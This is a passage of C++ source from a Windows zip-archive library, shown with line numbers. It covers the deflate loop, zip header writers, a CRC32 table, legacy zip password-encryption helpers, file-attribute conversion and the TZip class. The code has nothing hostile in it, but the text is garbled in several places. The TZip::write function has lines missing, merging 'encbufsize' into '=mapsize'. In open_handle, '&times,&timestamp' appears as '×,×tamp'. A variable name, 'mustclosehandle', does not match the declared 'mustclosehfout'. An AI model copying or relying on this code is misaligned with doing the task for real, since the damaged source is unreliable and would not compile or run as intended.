INSERT_STRING(state.ds.strstart, hash_head); 1868 | 1869 | /* Find the longest match, discarding those <= prev_length. 1870 | */ 1871 | state.ds.prev_length = match_length, prev_match = state.ds.match_start; 1872 | match_length = MIN_MATCH-1; 1873 | 1874 | if (hash_head != NIL && state.ds.prev_length < state.ds.max_lazy_match && 1875 | state.ds.strstart - hash_head <= MAX_DIST) { 1876 | /* To simplify the code, we prevent matches with the string 1877 | * of window index 0 (in particular we have to avoid a match 1878 | * of the string with itself at the start of the input file). 1879 | */ 1880 | /* Do not look for matches beyond the end of the input. 1881 | * This is necessary to make deflate deterministic. 1882 | */ 1883 | if ((unsigned)state.ds.nice_match > state.ds.lookahead) state.ds.nice_match = (int)state.ds.lookahead; 1884 | match_length = longest_match (state,hash_head); 1885 | /* longest_match() sets match_start */ 1886 | if (match_length > state.ds.lookahead) match_length = state.ds.lookahead; 1887 | 1888 | /* Ignore a length 3 match if it is too distant: */ 1889 | if (match_length == MIN_MATCH && state.ds.strstart-state.ds.match_start > TOO_FAR){ 1890 | /* If prev_match is also MIN_MATCH, match_start is garbage 1891 | * but we will ignore the current match anyway. 1892 | */ 1893 | match_length = MIN_MATCH-1; 1894 | } 1895 | } 1896 | /* If there was a match at the previous step and the current 1897 | * match is not better, output the previous match: 1898 | */ 1899 | if (state.ds.prev_length >= MIN_MATCH && match_length <= state.ds.prev_length) { 1900 | unsigned max_insert = state.ds.strstart + state.ds.lookahead - MIN_MATCH; 1901 | check_match(state,state.ds.strstart-1, prev_match, state.ds.prev_length); 1902 | flush = ct_tally(state,state.ds.strstart-1-prev_match, state.ds.prev_length - MIN_MATCH); 1903 | 1904 | /* Insert in hash table all strings up to the end of the match. 1905 | * strstart-1 and strstart are already inserted. 1906 | */ 1907 | state.ds.lookahead -= state.ds.prev_length-1; 1908 | state.ds.prev_length -= 2; 1909 | do { 1910 | if (++state.ds.strstart <= max_insert) { 1911 | INSERT_STRING(state.ds.strstart, hash_head); 1912 | /* strstart never exceeds WSIZE-MAX_MATCH, so there are 1913 | * always MIN_MATCH bytes ahead. 1914 | */ 1915 | } 1916 | } while (--state.ds.prev_length != 0); 1917 | state.ds.strstart++; 1918 | match_available = 0; 1919 | match_length = MIN_MATCH-1; 1920 | 1921 | if (flush) FLUSH_BLOCK(state,0), state.ds.block_start = state.ds.strstart; 1922 | 1923 | } else if (match_available) { 1924 | /* If there was no match at the previous position, output a 1925 | * single literal. If there was a match but the current match 1926 | * is longer, truncate the previous match to a single literal. 1927 | */ 1928 | if (ct_tally (state,0, state.ds.window[state.ds.strstart-1])) { 1929 | FLUSH_BLOCK(state,0), state.ds.block_start = state.ds.strstart; 1930 | } 1931 | state.ds.strstart++; 1932 | state.ds.lookahead--; 1933 | } else { 1934 | /* There is no previous match to compare with, wait for 1935 | * the next step to decide. 1936 | */ 1937 | match_available = 1; 1938 | state.ds.strstart++; 1939 | state.ds.lookahead--; 1940 | } 1941 | // Assert(state,strstart <= isize && lookahead <= isize, "a bit too far"); 1942 | 1943 | /* Make sure that we always have enough lookahead, except 1944 | * at the end of the input file. We need MAX_MATCH bytes 1945 | * for the next match, plus MIN_MATCH bytes to insert the 1946 | * string following the next match. 1947 | */ 1948 | if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state); 1949 | } 1950 | if (match_available) ct_tally (state,0, state.ds.window[state.ds.strstart-1]); 1951 | 1952 | return FLUSH_BLOCK(state,1); /* eof */ 1953 | } 1954 | 1955 | 1956 | 1957 | 1958 | 1959 | 1960 | 1961 | 1962 | 1963 | 1964 | 1965 | 1966 | int putlocal(struct zlist far *z, WRITEFUNC wfunc,void *param) 1967 | { // Write a local header described by *z to file *f. Return a ZE_ error code. 1968 | PUTLG(LOCSIG, f); 1969 | PUTSH(z->ver, f); 1970 | PUTSH(z->lflg, f); 1971 | PUTSH(z->how, f); 1972 | PUTLG(z->tim, f); 1973 | PUTLG(z->crc, f); 1974 | PUTLG(z->siz, f); 1975 | PUTLG(z->len, f); 1976 | PUTSH(z->nam, f); 1977 | PUTSH(z->ext, f); 1978 | size_t res = (size_t)wfunc(param, z->iname, (unsigned int)z->nam); 1979 | if (res!=z->nam) return ZE_TEMP; 1980 | if (z->ext) 1981 | { res = (size_t)wfunc(param, z->extra, (unsigned int)z->ext); 1982 | if (res!=z->ext) return ZE_TEMP; 1983 | } 1984 | return ZE_OK; 1985 | } 1986 | 1987 | int putextended(struct zlist far *z, WRITEFUNC wfunc, void *param) 1988 | { // Write an extended local header described by *z to file *f. Returns a ZE_ code 1989 | PUTLG(EXTLOCSIG, f); 1990 | PUTLG(z->crc, f); 1991 | PUTLG(z->siz, f); 1992 | PUTLG(z->len, f); 1993 | return ZE_OK; 1994 | } 1995 | 1996 | int putcentral(struct zlist far *z, WRITEFUNC wfunc, void *param) 1997 | { // Write a central header entry of *z to file *f. Returns a ZE_ code. 1998 | PUTLG(CENSIG, f); 1999 | PUTSH(z->vem, f); 2000 | PUTSH(z->ver, f); 2001 | PUTSH(z->flg, f); 2002 | PUTSH(z->how, f); 2003 | PUTLG(z->tim, f); 2004 | PUTLG(z->crc, f); 2005 | PUTLG(z->siz, f); 2006 | PUTLG(z->len, f); 2007 | PUTSH(z->nam, f); 2008 | PUTSH(z->cext, f); 2009 | PUTSH(z->com, f); 2010 | PUTSH(z->dsk, f); 2011 | PUTSH(z->att, f); 2012 | PUTLG(z->atx, f); 2013 | PUTLG(z->off, f); 2014 | if ((size_t)wfunc(param, z->iname, (unsigned int)z->nam) != z->nam || 2015 | (z->cext && (size_t)wfunc(param, z->cextra, (unsigned int)z->cext) != z->cext) || 2016 | (z->com && (size_t)wfunc(param, z->comment, (unsigned int)z->com) != z->com)) 2017 | return ZE_TEMP; 2018 | return ZE_OK; 2019 | } 2020 | 2021 | 2022 | int putend(int n, ulg s, ulg c, extent m, char *z, WRITEFUNC wfunc, void *param) 2023 | { // write the end of the central-directory-data to file *f. 2024 | PUTLG(ENDSIG, f); 2025 | PUTSH(0, f); 2026 | PUTSH(0, f); 2027 | PUTSH(n, f); 2028 | PUTSH(n, f); 2029 | PUTLG(s, f); 2030 | PUTLG(c, f); 2031 | PUTSH(m, f); 2032 | // Write the comment, if any 2033 | if (m && wfunc(param, z, (unsigned int)m) != m) return ZE_TEMP; 2034 | return ZE_OK; 2035 | } 2036 | 2037 | 2038 | 2039 | 2040 | 2041 | 2042 | const ulg crc_table[256] = { 2043 | 0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L, 2044 | 0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L, 2045 | 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L, 2046 | 0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL, 2047 | 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L, 2048 | 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L, 2049 | 0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L, 2050 | 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL, 2051 | 0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L, 2052 | 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL, 2053 | 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L, 2054 | 0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L, 2055 | 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L, 2056 | 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL, 2057 | 0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL, 2058 | 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L, 2059 | 0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL, 2060 | 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L, 2061 | 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L, 2062 | 0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L, 2063 | 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL, 2064 | 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L, 2065 | 0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L, 2066 | 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL, 2067 | 0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L, 2068 | 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L, 2069 | 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L, 2070 | 0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L, 2071 | 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L, 2072 | 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL, 2073 | 0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL, 2074 | 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L, 2075 | 0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L, 2076 | 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL, 2077 | 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL, 2078 | 0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L, 2079 | 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL, 2080 | 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L, 2081 | 0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL, 2082 | 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L, 2083 | 0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL, 2084 | 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L, 2085 | 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L, 2086 | 0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL, 2087 | 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L, 2088 | 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L, 2089 | 0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L, 2090 | 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L, 2091 | 0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L, 2092 | 0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L, 2093 | 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL, 2094 | 0x2d02ef8dL 2095 | }; 2096 | 2097 | #define CRC32(c, b) (crc_table[((int)(c) ^ (b)) & 0xff] ^ ((c) >> 8)) 2098 | #define DO1(buf) crc = CRC32(crc, *buf++) 2099 | #define DO2(buf) DO1(buf); DO1(buf) 2100 | #define DO4(buf) DO2(buf); DO2(buf) 2101 | #define DO8(buf) DO4(buf); DO4(buf) 2102 | 2103 | ulg crc32(ulg crc, const uch *buf, extent len) 2104 | { if (buf==NULL) return 0L; 2105 | crc = crc ^ 0xffffffffL; 2106 | while (len >= 8) {DO8(buf); len -= 8;} 2107 | if (len) do {DO1(buf);} while (--len); 2108 | return crc ^ 0xffffffffL; // (instead of ~c for 64-bit machines) 2109 | } 2110 | 2111 | 2112 | void update_keys(unsigned long *keys, char c) 2113 | { keys[0] = CRC32(keys[0],c); 2114 | keys[1] += keys[0] & 0xFF; 2115 | keys[1] = keys[1]*134775813L +1; 2116 | keys[2] = CRC32(keys[2], keys[1] >> 24); 2117 | } 2118 | char decrypt_byte(unsigned long *keys) 2119 | { unsigned temp = ((unsigned)keys[2] & 0xffff) | 2; 2120 | return (char)(((temp * (temp ^ 1)) >> 8) & 0xff); 2121 | } 2122 | char zencode(unsigned long *keys, char c) 2123 | { int t=decrypt_byte(keys); 2124 | update_keys(keys,c); 2125 | return (char)(t^c); 2126 | } 2127 | 2128 | 2129 | 2130 | 2131 | 2132 | 2133 | 2134 | bool HasZipSuffix(const TCHAR *fn) 2135 | { const TCHAR *ext = fn+_tcslen(fn); 2136 | while (ext>fn && *ext!='.') ext--; 2137 | if (ext==fn && *ext!='.') return false; 2138 | if (_tcsicmp(ext,_T(".Z"))==0) return true; 2139 | if (_tcsicmp(ext,_T(".zip"))==0) return true; 2140 | if (_tcsicmp(ext,_T(".zoo"))==0) return true; 2141 | if (_tcsicmp(ext,_T(".arc"))==0) return true; 2142 | if (_tcsicmp(ext,_T(".lzh"))==0) return true; 2143 | if (_tcsicmp(ext,_T(".arj"))==0) return true; 2144 | if (_tcsicmp(ext,_T(".gz"))==0) return true; 2145 | if (_tcsicmp(ext,_T(".tgz"))==0) return true; 2146 | return false; 2147 | } 2148 | 2149 | 2150 | lutime_t filetime2timet(const FILETIME ft) 2151 | { __int64 i = *(__int64*)&ft; 2152 | return (lutime_t)((i-116444736000000000)/10000000); 2153 | } 2154 | 2155 | void filetime2dosdatetime(const FILETIME ft, WORD *dosdate,WORD *dostime) 2156 | { // date: bits 0-4 are day of month 1-31. Bits 5-8 are month 1..12. Bits 9-15 are year-1980 2157 | // time: bits 0-4 are seconds/2, bits 5-10 are minute 0..59. Bits 11-15 are hour 0..23 2158 | SYSTEMTIME st; FileTimeToSystemTime(&ft,&st); 2159 | *dosdate = (WORD)(((st.wYear-1980)&0x7f) << 9); 2160 | *dosdate |= (WORD)((st.wMonth&0xf) << 5); 2161 | *dosdate |= (WORD)((st.wDay&0x1f)); 2162 | *dostime = (WORD)((st.wHour&0x1f) << 11); 2163 | *dostime |= (WORD)((st.wMinute&0x3f) << 5); 2164 | *dostime |= (WORD)((st.wSecond*2)&0x1f); 2165 | } 2166 | 2167 | 2168 | ZRESULT GetFileInfo(HANDLE hf, ulg *attr, long *size, iztimes *times, ulg *timestamp) 2169 | { // The handle must be a handle to a file 2170 | // The date and time is returned in a long with the date most significant to allow 2171 | // unsigned integer comparison of absolute times. The attributes have two 2172 | // high bytes unix attr, and two low bytes a mapping of that to DOS attr. 2173 | //struct stat s; int res=stat(fn,&s); if (res!=0) return false; 2174 | // translate windows file attributes into zip ones. 2175 | BY_HANDLE_FILE_INFORMATION bhi; BOOL res=GetFileInformationByHandle(hf,&bhi); 2176 | if (!res) return ZR_NOFILE; 2177 | DWORD fa=bhi.dwFileAttributes; ulg a=0; 2178 | // Zip uses the lower word for its interpretation of windows stuff 2179 | if (fa&FILE_ATTRIBUTE_READONLY) a|=0x01; 2180 | if (fa&FILE_ATTRIBUTE_HIDDEN) a|=0x02; 2181 | if (fa&FILE_ATTRIBUTE_SYSTEM) a|=0x04; 2182 | if (fa&FILE_ATTRIBUTE_DIRECTORY)a|=0x10; 2183 | if (fa&FILE_ATTRIBUTE_ARCHIVE) a|=0x20; 2184 | // It uses the upper word for standard unix attr, which we manually construct 2185 | if (fa&FILE_ATTRIBUTE_DIRECTORY)a|=0x40000000; // directory 2186 | else a|=0x80000000; // normal file 2187 | a|=0x01000000; // readable 2188 | if (fa&FILE_ATTRIBUTE_READONLY) {} else a|=0x00800000; // writeable 2189 | // now just a small heuristic to check if it's an executable: 2190 | DWORD red, hsize=GetFileSize(hf,NULL); if (hsize>40) 2191 | { SetFilePointer(hf,0,NULL,FILE_BEGIN); unsigned short magic; ReadFile(hf,&magic,sizeof(magic),&red,NULL); 2192 | SetFilePointer(hf,36,NULL,FILE_BEGIN); unsigned long hpos; ReadFile(hf,&hpos,sizeof(hpos),&red,NULL); 2193 | if (magic==0x54AD && hsize>hpos+4+20+28) 2194 | { SetFilePointer(hf,hpos,NULL,FILE_BEGIN); unsigned long signature; ReadFile(hf,&signature,sizeof(signature),&red,NULL); 2195 | if (signature==IMAGE_DOS_SIGNATURE || signature==IMAGE_OS2_SIGNATURE 2196 | || signature==IMAGE_OS2_SIGNATURE_LE || signature==IMAGE_NT_SIGNATURE) 2197 | { a |= 0x00400000; // executable 2198 | } 2199 | } 2200 | } 2201 | // 2202 | if (attr!=NULL) *attr = a; 2203 | if (size!=NULL) *size = hsize; 2204 | if (times!=NULL) 2205 | { // lutime_t is 32bit number of seconds elapsed since 0:0:0GMT, Jan1, 1970. 2206 | // but FILETIME is 64bit number of 100-nanosecs since Jan1, 1601 2207 | times->atime = filetime2timet(bhi.ftLastAccessTime); 2208 | times->mtime = filetime2timet(bhi.ftLastWriteTime); 2209 | times->ctime = filetime2timet(bhi.ftCreationTime); 2210 | } 2211 | if (timestamp!=NULL) 2212 | { WORD dosdate,dostime; 2213 | filetime2dosdatetime(bhi.ftLastWriteTime,&dosdate,&dostime); 2214 | *timestamp = (WORD)dostime | (((DWORD)dosdate)<<16); 2215 | } 2216 | return ZR_OK; 2217 | } 2218 | 2219 | 2220 | 2221 | 2222 | 2223 | 2224 | 2225 | 2226 | class TZip 2227 | { public: 2228 | TZip(const char *pwd) : hfout(0),mustclosehfout(false),hmapout(0),zfis(0),obuf(0),hfin(0),writ(0),oerr(false),hasputcen(false),ooffset(0),encwriting(false),encbuf(0),password(0), state(0) {if (pwd!=0 && *pwd!=0) {password=new char[strlen(pwd)+1]; strcpy(password,pwd);}} 2229 | ~TZip() {if (state!=0) delete state; state=0; if (encbuf!=0) delete[] encbuf; encbuf=0; if (password!=0) delete[] password; password=0;} 2230 | 2231 | // These variables say about the file we're writing into 2232 | // We can write to pipe, file-by-handle, file-by-name, memory-to-memmapfile 2233 | char *password; // keep a copy of the password 2234 | HANDLE hfout; // if valid, we'll write here (for files or pipes) 2235 | bool mustclosehfout; // if true, we are responsible for closing hfout 2236 | HANDLE hmapout; // otherwise, we'll write here (for memmap) 2237 | unsigned ooffset; // for hfout, this is where the pointer was initially 2238 | ZRESULT oerr; // did a write operation give rise to an error? 2239 | unsigned writ; // how far have we written. This is maintained by Add, not write(), to avoid confusion over seeks 2240 | bool ocanseek; // can we seek? 2241 | char *obuf; // this is where we've locked mmap to view. 2242 | unsigned int opos; // current pos in the mmap 2243 | unsigned int mapsize; // the size of the map we created 2244 | bool hasputcen; // have we yet placed the central directory? 2245 | bool encwriting; // if true, then we'll encrypt stuff using 'keys' before we write it to disk 2246 | unsigned long keys[3]; // keys are initialised inside Add() 2247 | char *encbuf; // if encrypting, then this is a temporary workspace for encrypting the data 2248 | unsigned int encbufsize; // (to be used and resized inside write(), and deleted in the destructor) 2249 | // 2250 | TZipFileInfo *zfis; // each file gets added onto this list, for writing the table at the end 2251 | TState *state; // we use just one state object per zip, because it's big (500k) 2252 | 2253 | ZRESULT Create(void *z,unsigned int len,DWORD flags); 2254 | static unsigned sflush(void *param,const char *buf, unsigned *size); 2255 | static unsigned swrite(void *param,const char *buf, unsigned size); 2256 | unsigned int write(const char *buf,unsigned int size); 2257 | bool oseek(unsigned int pos); 2258 | ZRESULT GetMemory(void **pbuf, unsigned long *plen); 2259 | ZRESULT Close(); 2260 | 2261 | // some variables to do with the file currently being read: 2262 | // I haven't done it object-orientedly here, just put them all 2263 | // together, since OO didn't seem to make the design any clearer. 2264 | ulg attr; iztimes times; ulg timestamp; // all open_* methods set these 2265 | bool iseekable; long isize,ired; // size is not set until close() on pips 2266 | ulg crc; // crc is not set until close(). iwrit is cumulative 2267 | HANDLE hfin; bool selfclosehf; // for input files and pipes 2268 | const char *bufin; unsigned int lenin,posin; // for memory 2269 | // and a variable for what we've done with the input: (i.e. compressed it!) 2270 | ulg csize; // compressed size, set by the compression routines 2271 | // and this is used by some of the compression routines 2272 | char buf[16384]; 2273 | 2274 | 2275 | ZRESULT open_file(const TCHAR *fn); 2276 | ZRESULT open_handle(HANDLE hf,unsigned int len); 2277 | ZRESULT open_mem(void *src,unsigned int len); 2278 | ZRESULT open_dir(); 2279 | static unsigned sread(TState &s,char *buf,unsigned size); 2280 | unsigned read(char *buf, unsigned size); 2281 | ZRESULT iclose(); 2282 | 2283 | ZRESULT ideflate(TZipFileInfo *zfi); 2284 | ZRESULT istore(); 2285 | 2286 | ZRESULT Add(const TCHAR *odstzn, void *src,unsigned int len, DWORD flags); 2287 | ZRESULT AddCentral(); 2288 | 2289 | }; 2290 | 2291 | 2292 | 2293 | ZRESULT TZip::Create(void *z,unsigned int len,DWORD flags) 2294 | { if (hfout!=0 || hmapout!=0 || obuf!=0 || writ!=0 || oerr!=ZR_OK || hasputcen) return ZR_NOTINITED; 2295 | // 2296 | if (flags==ZIP_HANDLE) 2297 | { HANDLE hf = (HANDLE)z; 2298 | hfout=hf; mustclosehfout=false; 2299 | #ifdef DuplicateHandle 2300 | BOOL res = DuplicateHandle(GetCurrentProcess(),hf,GetCurrentProcess(),&hfout,0,FALSE,DUPLICATE_SAME_ACCESS); 2301 | if (res) mustclosehandle=true; 2302 | #endif 2303 | // now we have hfout. Either we duplicated the handle and we close it ourselves 2304 | // (while the caller closes h themselves), or we couldn't duplicate it. 2305 | DWORD res = SetFilePointer(hfout,0,0,FILE_CURRENT); 2306 | ocanseek = (res!=0xFFFFFFFF); 2307 | if (ocanseek) ooffset=res; else ooffset=0; 2308 | return ZR_OK; 2309 | } 2310 | else if (flags==ZIP_FILENAME) 2311 | { const TCHAR *fn = (const TCHAR*)z; 2312 | hfout = CreateFile(fn,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 2313 | if (hfout==INVALID_HANDLE_VALUE) {hfout=0; return ZR_NOFILE;} 2314 | ocanseek=true; 2315 | ooffset=0; 2316 | mustclosehfout=true; 2317 | return ZR_OK; 2318 | } 2319 | else if (flags==ZIP_MEMORY) 2320 | { unsigned int size = len; 2321 | if (size==0) return ZR_MEMSIZE; 2322 | if (z!=0) obuf=(char*)z; 2323 | else 2324 | { hmapout = CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,size,NULL); 2325 | if (hmapout==NULL) return ZR_NOALLOC; 2326 | obuf = (char*)MapViewOfFile(hmapout,FILE_MAP_ALL_ACCESS,0,0,size); 2327 | if (obuf==0) {CloseHandle(hmapout); hmapout=0; return ZR_NOALLOC;} 2328 | } 2329 | ocanseek=true; 2330 | opos=0; mapsize=size; 2331 | return ZR_OK; 2332 | } 2333 | else return ZR_ARGS; 2334 | } 2335 | 2336 | unsigned TZip::sflush(void *param,const char *buf, unsigned *size) 2337 | { // static 2338 | if (*size==0) return 0; 2339 | TZip *zip = (TZip*)param; 2340 | unsigned int writ = zip->write(buf,*size); 2341 | if (writ!=0) *size=0; 2342 | return writ; 2343 | } 2344 | unsigned TZip::swrite(void *param,const char *buf, unsigned size) 2345 | { // static 2346 | if (size==0) return 0; 2347 | TZip *zip=(TZip*)param; return zip->write(buf,size); 2348 | } 2349 | unsigned int TZip::write(const char *buf,unsigned int size) 2350 | { const char *srcbuf=buf; 2351 | if (encwriting) 2352 | { if (encbuf!=0 && encbufsize=mapsize) {oerr=ZR_MEMSIZE; return 0;} 2360 | memcpy(obuf+opos, srcbuf, size); 2361 | opos+=size; 2362 | return size; 2363 | } 2364 | else if (hfout!=0) 2365 | { DWORD writ; WriteFile(hfout,srcbuf,size,&writ,NULL); 2366 | return writ; 2367 | } 2368 | oerr=ZR_NOTINITED; return 0; 2369 | } 2370 | 2371 | bool TZip::oseek(unsigned int pos) 2372 | { if (!ocanseek) {oerr=ZR_SEEK; return false;} 2373 | if (obuf!=0) 2374 | { if (pos>=mapsize) {oerr=ZR_MEMSIZE; return false;} 2375 | opos=pos; 2376 | return true; 2377 | } 2378 | else if (hfout!=0) 2379 | { SetFilePointer(hfout,pos+ooffset,NULL,FILE_BEGIN); 2380 | return true; 2381 | } 2382 | oerr=ZR_NOTINITED; return 0; 2383 | } 2384 | 2385 | ZRESULT TZip::GetMemory(void **pbuf, unsigned long *plen) 2386 | { // When the user calls GetMemory, they're presumably at the end 2387 | // of all their adding. In any case, we have to add the central 2388 | // directory now, otherwise the memory we tell them won't be complete. 2389 | if (!hasputcen) AddCentral(); hasputcen=true; 2390 | if (pbuf!=NULL) *pbuf=(void*)obuf; 2391 | if (plen!=NULL) *plen=writ; 2392 | if (obuf==NULL) return ZR_NOTMMAP; 2393 | return ZR_OK; 2394 | } 2395 | 2396 | ZRESULT TZip::Close() 2397 | { // if the directory hadn't already been added through a call to GetMemory, 2398 | // then we do it now 2399 | ZRESULT res=ZR_OK; if (!hasputcen) res=AddCentral(); hasputcen=true; 2400 | if (obuf!=0 && hmapout!=0) UnmapViewOfFile(obuf); obuf=0; 2401 | if (hmapout!=0) CloseHandle(hmapout); hmapout=0; 2402 | if (hfout!=0 && mustclosehfout) CloseHandle(hfout); hfout=0; mustclosehfout=false; 2403 | return res; 2404 | } 2405 | 2406 | 2407 | 2408 | 2409 | ZRESULT TZip::open_file(const TCHAR *fn) 2410 | { hfin=0; bufin=0; selfclosehf=false; crc=CRCVAL_INITIAL; isize=0; csize=0; ired=0; 2411 | if (fn==0) return ZR_ARGS; 2412 | HANDLE hf = CreateFile(fn,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL); 2413 | if (hf==INVALID_HANDLE_VALUE) return ZR_NOFILE; 2414 | ZRESULT res = open_handle(hf,0); 2415 | if (res!=ZR_OK) {CloseHandle(hf); return res;} 2416 | selfclosehf=true; 2417 | return ZR_OK; 2418 | } 2419 | ZRESULT TZip::open_handle(HANDLE hf,unsigned int len) 2420 | { hfin=0; bufin=0; selfclosehf=false; crc=CRCVAL_INITIAL; isize=0; csize=0; ired=0; 2421 | if (hf==0 || hf==INVALID_HANDLE_VALUE) return ZR_ARGS; 2422 | DWORD res = SetFilePointer(hfout,0,0,FILE_CURRENT); 2423 | if (res!=0xFFFFFFFF) 2424 | { ZRESULT res = GetFileInfo(hf,&attr,&isize,×,×tamp); 2425 | if (res!=ZR_OK) return res; 2426 | SetFilePointer(hf,0,NULL,FILE_BEGIN); // because GetFileInfo will have screwed it up 2427 | iseekable=true; hfin=hf; 2428 | return ZR_OK; 2429 | } 2430 | else 2431 | { attr= 0x80000000; // just a normal file 2432 | isize = -1; // can't know size until at the end 2433 | if (len!=0) isize=len; // unless we were told explicitly! 2434 | iseekable=false; 2435 | SYSTEMTIME st; GetLocalTime(&st); 2436 | FILETIME ft; SystemTimeToFileTime(&st,&ft); 2437 | WORD dosdate,dostime; filetime2dosdatetime(ft,&dosdate,&dostime); 2438 | times.atime = filetime2timet(ft); 2439 | times.mtime = times.atime; 2440 | times.ctime = times.atime; 2441 | timestamp = (WORD)dostime | (((DWORD)dosdate)<<16); 2442 | hfin=hf; 2443 | return ZR_OK; 2444 | } 2445 | } 2446 | ZRESULT TZip::open_mem(void *src,unsigned int len) 2447 | { hfin=0; bufin=(const char*)src; selfclosehf=false; crc=CRCVAL_INITIAL; ired=0; csize=0; ired=0; 2448 | lenin=len; posin=0; 2449 | if (src==0 || len==0) return ZR_ARGS; 2450 | attr= 0x80000000; // just a normal file 2451 | isize = len; 2452 | iseekable=true; 2453 | SYSTEMTIME st; GetLocalTime(&st); 2454 | FILETIME ft; SystemTimeToFileTime(&st,&ft); 2455 | WORD dosdate,dostime; filetime2dosdatetime(ft,&dosdate,&dostime); 2456 | times.atime = filetime2timet(ft); 2457 | times.mtime = times.atime; 2458 | times.ctime = times.atime; 2459 | timestamp = (WORD)dostime | (((DWORD)dosdate)<<16); 2460 | return ZR_OK; 2461 | } 2462 | ZRESULT TZip::open_dir() 2463 | { hfin=0; bufin=0; selfclosehf=false; crc=CRCVAL_INITIAL; isize=0; csize=0; ired=0; 2464 | attr= 0x41C00010; // a readable writable directory, and again directory 2465 | isize = 0; 2466 | iseekable=false; 2467 | SYSTEMTIME st; GetLocalTime(&st); 2468 | FILETIME ft; SystemTimeToFileTime(&st,&ft); 2469 | WORD dosdate,dostime; filetime2dosdatetime(ft,&dosdate,&dostime); 2470 | times.atime = filetime2timet(ft); 2471 | times.mtime = times.atime; 2472 | times.ctime = times.atime; 2473 | timestamp = (WORD)dostime | (((DWORD)dosdate)<<16); 2474 | return ZR_OK; 2475 | } 2476 | 2477 | unsigned TZip::sread(TState &s,char *buf,unsigned size) 2478 | { // static 2479 | TZip *zip = 